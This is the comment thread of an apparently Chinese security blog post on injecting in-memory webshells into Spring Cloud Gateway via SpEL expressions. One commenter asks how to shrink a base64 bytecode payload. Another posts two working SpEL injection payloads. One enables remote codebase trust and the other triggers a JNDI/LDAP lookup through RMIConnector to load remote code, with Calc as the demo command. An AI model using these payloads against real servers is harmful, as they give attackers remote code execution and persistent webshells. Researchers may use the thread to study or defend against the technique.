Spring cloud gateway通过SPEL注入内存马 | 回忆飘如雪

[SummerSec]

gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/

[SummerSec]

我发现相同的payload在spring cloud function 的情况下，会报错。header过长，有没有什么方法替换base64加密吗？或者减少字节码大小

[achuna33]

在测试#{T(org.springframework.cglib.core.ReflectUtils).... payload 时 在低版本时成功了，但在高版本的时候没有办法进入到defineClass第一个if 中，我没有选择绕过他。转而去构造JNDI以下是两个payload
1.#{T(java.lang.System).setProperty('com.sun.jndi.ldap.object.trustURLCodebase', 'true')}
2.#{new javax.management.remote.rmi.RMIConnector(new javax.management.remote.JMXServiceURL("service:jmx:rmi://127.0.0.1:1389/jndi/ldap://127.0.0.1:1389/Basic/Command/Calc"), new java.util.Hashtable()).connect()}